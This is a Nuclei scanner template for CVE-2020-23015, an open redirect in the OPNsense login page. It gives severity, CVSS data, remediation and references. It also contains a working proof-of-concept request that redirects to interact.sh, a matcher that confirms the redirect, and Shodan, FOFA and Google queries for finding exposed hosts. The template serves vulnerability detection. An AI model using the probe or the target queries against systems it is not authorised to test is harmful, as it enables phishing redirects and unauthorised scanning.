OPNsense through 20.1.5 contains an open redirect vulnerability via the url redirect parameter in the login page, which is not filtered. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2020-23015
info:
name: OPNsense <=20.1.5 - Open Redirect
author: 0x_Akoko
severity: medium
description: OPNsense through 20.1.5 contains an open redirect vulnerability via the url redirect parameter in the login page, which is not filtered. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the disclosure of sensitive information.
remediation: |
Upgrade OPNsense to a version higher than 20.1.5 to mitigate the vulnerability.
reference:
- https://github.com/opnsense/core/issues/4061
- https://nvd.nist.gov/vuln/detail/CVE-2020-23015
- https://github.com/anonymous364872/Rapier_Tool
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-23015
cwe-id: CWE-601
epss-score: 0.07905
epss-percentile: 0.91703
cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: opnsense
product: opnsense
shodan-query: http.title:"opnsense"
fofa-query: title="opnsense"
google-query: intitle:"opnsense"
tags: cve2020,cve,redirect,opnsense
http:
- method: GET
path:
- '{{BaseURL}}/?url=http://interact.sh'
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
# digest: 4b0a00483046022100920cf388b9e7533c0e0fae0e1a28ced781a2c28a28afbb6d8d46fb070347a06c022100d4395a66ec965748373bc38deb29b6b7bb4d65f8b05d1b297dbda646b2f68771:922c64590222798bb761d5b6d8e72950